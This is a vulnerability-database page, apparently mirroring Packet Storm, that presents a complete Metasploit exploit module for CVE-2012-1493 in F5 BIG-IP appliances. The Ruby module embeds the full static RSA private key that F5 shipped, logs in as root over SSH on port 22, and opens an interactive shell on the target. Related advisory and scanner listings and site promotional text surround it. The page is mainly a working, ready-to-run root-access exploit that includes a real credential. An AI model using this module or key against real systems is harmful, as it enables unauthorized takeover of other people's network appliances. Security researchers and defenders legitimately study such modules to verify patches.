Lucene search
K

F5 BIG-IP SSH Private Key Exposure

🗓️ 12 Jun 2012 00:00:00Reported by egyptType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 39 Views

F5 BIG-IP SSH Private Key Exposure allows unauthorized root access due to easily retrievable private key on F5 BIG-IP appliances

Related
Code
ReporterTitlePublishedViews
Family
0day.today
F5 BIG-IP Remote Root Authentication Bypass Vulnerability
11 Jun 201200:00
zdt
0day.today
F5 BIG-IP SSH Private Key Exposure
13 Jun 201200:00
zdt
Circl
CVE-2012-1493
11 Jun 201200:00
circl
CVE
CVE-2012-1493
9 Jul 201222:00
cve
Cvelist
CVE-2012-1493
9 Jul 201222:00
cvelist
Exploit DB
F5 BIG-IP - Authentication Bypass (PoC)
11 Jun 201200:00
exploitdb
Exploit DB
F5 BIG-IP - SSH Private Key Exposure (Metasploit)
13 Jun 201200:00
exploitdb
exploitpack
F5 BIG-IP - Authentication Bypass (PoC)
11 Jun 201200:00
exploitpack
Tenable Nessus
F5 Multiple Products Root Authentication Bypass
13 Jun 201200:00
nessus
Tenable Nessus
SSH Static Key Accepted
8 May 201400:00
nessus
Rows per page
`  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Auxiliary::Report  
  
  
def initialize(info = {})  
super(update_info(info, {  
'Name' => 'F5 BIG-IP SSH Private Key Exposure',  
'Version' => '$Revision$',  
'Description' => %q{  
F5 ships a public/private key pair on BIG-IP appliances that allows  
passwordless authentication to any other BIG-IP box. Since the key is  
easily retrievable, an attacker can use it to gain unauthorized remote  
access as root.  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Targets' => [ [ "Universal", {} ] ],  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find',  
},  
},  
'Author' => ['egypt'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],  
[ 'CVE', '2012-1493' ],  
[ 'OSVDB', '82780' ]  
],  
'DisclosureDate' => "Jun 11 2012",  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },  
'DefaultTarget' => 0,  
}))  
  
register_options(  
[  
# Since we don't include Tcp, we have to register this manually  
Opt::RHOST(),  
Opt::RPORT(22),  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
  
end  
  
# helper methods that normally come from Tcp  
def rhost  
datastore['RHOST']  
end  
def rport  
datastore['RPORT']  
end  
  
def do_login(user)  
  
opt_hash = {  
:auth_methods => ['publickey'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:key_data => [ key_data ],  
:disable_agent => true,  
:config => false,  
:record_auth_info => true  
}  
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
begin  
ssh_socket = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh_socket = Net::SSH.start(rhost, user, opt_hash)  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
return :connection_error  
rescue Net::SSH::Disconnect, ::EOFError  
return :connection_disconnect  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return :connection_disconnect  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
return [:fail,nil] # For whatever reason.  
end  
  
if ssh_socket  
  
# Create a new session from the socket, then dump it.  
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)  
ssh_socket = nil  
  
return conn  
else  
return false  
end  
end  
  
def exploit  
conn = do_login("root")  
if conn  
print_good "Successful login"  
handler(conn.lsock)  
else  
print_error "Login failed"  
end  
end  
  
  
def key_data  
<<EOF  
-----BEGIN RSA PRIVATE KEY-----  
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh  
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk  
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB  
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF  
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv  
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM  
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s  
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL  
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4  
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/  
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU  
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G  
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS  
-----END RSA PRIVATE KEY-----  
EOF  
end  
end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation